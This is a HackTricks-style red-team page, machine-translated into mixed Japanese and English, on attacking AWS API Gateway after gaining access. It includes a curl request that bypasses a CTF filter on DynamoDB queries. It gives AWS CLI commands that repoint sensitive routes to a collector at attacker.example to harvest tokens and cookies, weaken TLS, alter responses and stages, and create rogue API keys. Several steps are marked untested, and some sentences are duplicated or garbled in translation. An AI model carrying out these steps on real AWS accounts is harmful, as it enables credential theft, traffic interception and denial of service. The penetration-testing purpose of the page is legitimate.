AWS - API Gateway Post Exploitation

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

API Gateway

For more information check:

AWS - API Gateway Enum

未公開のAPIへのアクセス

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
その後、EC2マシンからそのエンドポイントにアクセスできるようになり、以前は公開されていなかった gateway API を呼び出せるようになります。

Bypass Request body passthrough

This technique was found in this CTF writeup.

As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.
[AWS documentation] の PassthroughBehavior セクションにあるように、デフォルトでは、リクエストの Content-Type ヘッダを確認する際に値 WHEN_NO_MATCH は変換を行わずにリクエストをバックエンドに渡します。

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:
したがって、CTFでは、API Gateway の統合テンプレートが Content-Type: application/json のリクエストを送ったときにレスポンスで preventing the flag from being exfiltrated していました:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

しかし、Content-type: text/json を使ってリクエストを送ると、そのフィルタを回避できました。

最後に、API Gateway が GetOptions のみを許可していたため、ボディにクエリを入れて POST リクエストを送り、ヘッダー X-HTTP-Method-Override: GET を使用することで、任意の dynamoDB クエリを制限なく送信することが可能でした:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Enumeration セクションでは、キーの usage plan を取得する方法 が確認できます。キーを持っていて、それが月あたり X 回の使用に 制限されている 場合、単にそれを使用して DoS を引き起こす ことができます。

API Keyx-api-key という HTTP header含める だけで良いです。

Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)

もし HTTP API integration を更新できるなら、機密性の高いルート(例: /login, /token, /submit)を攻撃者制御の HTTP エンドポイントに 差し替え して、ヘッダーやボディ(cookies、Authorization ベアラートークン、セッションID、API keys、内部ジョブが送る secrets など)を静かに 収集 できます。

Example workflow:

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

注意:

  • For HTTP APIs, 変更は通常すぐに反映されます(通常、deployment を作成する必要がある REST APIs とは異なります)。
  • 任意の URL を指せるかどうかは integration type/config に依存します。場合によっては patching 時に integration type を変更できることもあります。

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

apigateway:UpdateGatewayResponseapigateway:CreateDeployment の権限を持つ攻撃者は、既存の Gateway Response を変更してカスタムヘッダーやレスポンステンプレートを含め、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: Leakage of sensitive information、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。

Note

テストが必要

apigateway:UpdateStage, apigateway:CreateDeployment

権限 apigateway:UpdateStageapigateway:CreateDeployment を持つ攻撃者は、既存の API Gateway stage を変更してトラフィックを別の stage にリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータに不正にアクセスする ことができます。

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。

Note

テストが必要

apigateway:PutMethodResponse, apigateway:CreateDeployment

権限 apigateway:PutMethodResponse および apigateway:CreateDeployment を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを変更して、カスタムヘッダーやレスポンステンプレートを含め、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます。

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: 敏感な情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。

Note

テストが必要

apigateway:UpdateRestApi, apigateway:CreateDeployment

権限 apigateway:UpdateRestApiapigateway:CreateDeployment を持つ攻撃者は、API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを低下させる可能性があります。

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: APIのセキュリティが弱まり、不正アクセスや機密情報の露出を招く可能性があります。

Note

要検証

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

権限 apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, および apigateway:CreateUsagePlanKey を持つ攻撃者は、新しい API キーを作成し、それらを使用プランに関連付け、これらのキーを用いて API に不正アクセスすることができる

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

潜在的影響: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。

Note

テストが必要

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする